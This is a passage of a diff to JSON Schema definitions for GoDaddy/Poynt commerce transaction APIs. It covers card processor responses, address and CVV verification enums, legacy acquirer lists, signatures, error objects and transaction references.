it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" }, - "links": { - "$id": "https://godaddy.com/schemas/commerce/link.v1", + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/debitcard.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Links", - "description": "HATEOAS links", - "type": "array", - "x-auto-generated": true, - "definitions": { - "Link": { - "description": "HATEOAS link", - "type": "object", + "allOf": [ + { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/processor-response/creditcard.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Processor response for credit card", + "properties": { + "approvalCode": { + "description": "The approval code that came back from the acquirer (usually its 6 alpha-numeric characters).", + "maxLength": 32, + "type": "string" + }, + "approvedAmount": { + "description": "The amount that the authorization was approved for. This could be different from the transactionAmount requested.", + "format": "int64", + "type": "integer" + }, + "avsResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/processor-response/cv-verification-result.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address verification result details obtained from processor", + "properties": { + "addressResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cardHolderNameResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "cityResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "countryResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "phoneResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "postalCodeResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + }, + "stateResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/address-verification-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Address Verification Status", + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "UNAVAILABLE" + ], + "title": "Address Verification Status", + "type": "string" + } + }, + "title": "Address Verification Results", + "type": "object" + }, + "cvResult": { + "$id": "https://godaddy.com/schemas/commerce/transaction/payment-card/cv-result-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "CVV verification result", + "enum": [ + "MATCH", + "NO_MATCH", + "UNAVAILABLE" + ], + "title": "CVV Verification result status", + "type": "string" + }, + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" + }, + "interacMacResult": { + "description": "Interac mac result (if interacMac is used)", + "readOnly": true, + "type": "string" + }, + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", + "properties": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } + }, + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { + "type": "string" + }, + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "scaResult": { + "description": "Represents a SCA status if it was triggered. Strong Customer Authentication (SCA) is a European regulatory requirement to reduce fraud and make online payments more secure.", + "readOnly": true, + "type": "string" + } + }, + "title": "Card Processor Response", + "type": "object" + } + ], + "description": "Processor response for debit card", + "properties": { + "legacyProcessorData": { + "$defs": { + "LegacyAVSResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cardHolderNameResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "cityResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "countryResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "phoneResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "postalCodeResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "stateResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + } + }, + "type": "object", + "x-legacy": true + }, + "LegacyAVSResultType": { + "enum": [ + "MATCH", + "NO_MATCH", + "PARTIAL_MATCH", + "NOT_PROVIDED", + "ISSUER_NOT_CERTIFIED", + "NO_RESPONSE_FROM_CARD_ASSOCIATION", + "UNKNOWN_RESPONSE_FROM_CARD_ASSOCIATION", + "NOT_VERIFIED", + "BAD_FORMAT", + "ERROR", + "UNSUPPORTED_BY_ISSUER", + "UNAVAILABLE", + "ADDRESS_AND_ZIP_MATCH" + ], + "type": "string" + }, + "LegacyCVResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "LegacyECheckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "LegacyProcessorStatus": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "LegacyProviderVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "LegacyStrongCustomerAuthenticationResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + } + }, + "$id": "https://poynt.godaddy.com/schemas/transaction/processor-response-metadata.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Legacy Processor response fields.", "properties": { - "href": { + "acquirer": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "adapterId": { + "type": "string" + }, + "adapterVariant": { + "type": "string" + }, + "avsResult": { + "properties": { + "actualResult": { + "type": "string" + }, + "addressResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cardHolderNameResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "cityResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "countryResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "phoneResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "postalCodeResult": { + "$ref": "#/$defs/LegacyAVSResultType" + }, + "stateResult": { + "$ref": "#/$defs/LegacyAVSResultType" + } + }, + "type": "object", + "x-legacy": true + }, + "batchAutoClosedByHost": { + "type": "string" + }, + "batchId": { + "description": "The ID of the settlement batch that this transaction is assigned to.", + "maxLength": 64, + "type": "string" + }, + "cardToken": { + "maxLength": 256, + "type": "string" + }, + "cvActualResult": { "type": "string" }, - "rel": { + "cvResult": { + "enum": [ + "MATCH", + "NO_MATCH", + "NOT_PROCESSED", + "NO_CODE_PRESENT", + "SHOULD_HAVE_BEEN_PRESENT", + "ISSUER_NOT_CERTIFIED", + "INVALID", + "NO_RESPONSE", + "NOT_APPLICABLE" + ], + "type": "string" + }, + "debitResponseCode": { + "type": "string" + }, + "echeckProcessor": { + "enum": [ + "MOCK", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "issuerResponseCode": { + "type": "string" + }, + "pinSessionKey": { + "type": "string" + }, + "processedAt": { + "description": "Date / time of transaction received by the processor host.", + "format": "date-time", + "type": "string" + }, + "processor": { + "enum": [ + "CHASE_PAYMENTECH", + "REDE", + "EVO", + "FIRST_DATA", + "GLOBAL_PAYMENTS", + "HEARTLAND_PAYMENT_SYSTEM", + "ELAVON", + "MERCURY", + "MONERIS", + "PAYPAL", + "ELAVON_MX", + "STRIPE", + "TSYS", + "VANTIV", + "WORLDPAY", + "EPX", + "WEPAY", + "MASHREQ", + "AXIS", + "KARTUKU", + "NEXI", + "DANA", + "MYNT", + "POYNT", + "NUVEI", + "NPAY", + "BRIDGEPAY", + "CONVERGE", + "MOCK", + "NA_BANCARD", + "CREDITCALL", + "ELAVON_EU", + "FUSEBOX", + "EVERTEC", + "GHL", + "RS2", + "JCN", + "PRISMA", + "VANTIV_EXPRESS", + "EZETAP", + "ADYEN", + "USBANK", + "LETGO", + "CHECK_COMMERCE" + ], + "type": "string" + }, + "providerVerification": { + "description": "Provider verification fields.", + "properties": { + "publicKeyHash": { + "description": "A hash of the public key so Poynt knows it has the right public key.", + "type": "string" + }, + "signature": { + "description": "Base64 encoded signature of the transactions.", + "type": "string" + } + }, + "type": "object" + }, + "ps2000Data": { + "description": "Payment Service 2000 data to process a secondary transaction", + "type": "string" + }, + "retrievalRefNum": { + "maxLength": 64, + "type": "string" + }, + "scaResult": { + "enum": [ + "ENTER_PIN", + "INSERT_CARD", + "CDCVM" + ], + "type": "string" + }, + "status": { + "enum": [ + "Successful", + "Failure" + ], + "type": "string" + }, + "statusCode": { + "description": "Will be 1 if status is Successful. If status is Failure, it will be whatever statusCode came from the acquirer.", + "maxLength": 64, + "type": "string" + }, + "statusMessage": { + "description": "Will be whatever message came back from the acquirer.", + "maxLength": 512, + "type": "string" + }, + "transactionId": { + "description": "The transactionID that came back from the acquirer.", + "maxLength": 64, "type": "string" } - } - } - }, - "items": { - "description": "HATEOAS link", - "type": "object", - "properties": { - "href": { - "type": "string" }, - "rel": { - "type": "string" - } + "type": "object", + "x-legacy": true + }, + "remainingBalanceAmount": { + "description": "Remaining balance amount", + "format": "int64", + "type": "integer" } - } - } - } - } - ], - "properties": { - "items": { - "items": { - "$id": "https://godaddy.com/schemas/commerce/transaction/transaction/signature.v2", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Customer Signature", - "type": "object", - "description": "Representation of Customer signature received during transaction", - "properties": { - "signature": { - "type": "string", - "format": "binary", - "writeOnly": true, - "description": "Signature data in Binary format" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "signatureUrl": { - "type": "string", - "format": "uri", - "readOnly": true, - "description": "URL of the image uploaded" }, - "id": { - "$id": "https://godaddy.com/schemas/commerce/transaction/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true - } + "title": "Debit Card Processor Response", + "type": "object" + } + ], + "properties": { + "processorType": { + "description": "Discriminator field representing the type of processor response", + "type": "string" } }, - "type": "array" - } - } - } - }, - "default": { - "description": "Error", - "schema": { - "$id": "https://godaddy.com/schema/common/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schema/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } + "required": [ + "processorType" + ], + "title": "Processor Response", + "type": "object" }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, + "references": { + "description": "References to the transaction", "items": { - "readOnly": true, - "$id": "https://godaddy.com/schema/common/link-description.v1", + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-reference.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "description": "Reference to a document (e.g. order or invoice) that this transaction is for", "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "additionalLabel": { + "description": "(Optional) Label that the reference points to", + "maxLength": 32, "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target.", - "type": "string", - "format": "uri" - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": { + "maxLength": 32, + "type": "string" + }, + "value": { + "maxLength": 128, "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data.", - "type": "string", - "format": "uri" } }, "required": [ - "rel", - "href" - ] - } + "value", + "type" + ], + "title": "Transaction Reference", + "type": "object" + }, + "type": "array" + }, + "status": { + "$id": "https://godaddy.com/schemas/commerce/transaction/transaction-status.v2", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Transaction status", + "enum": [ + "INITIATED", + 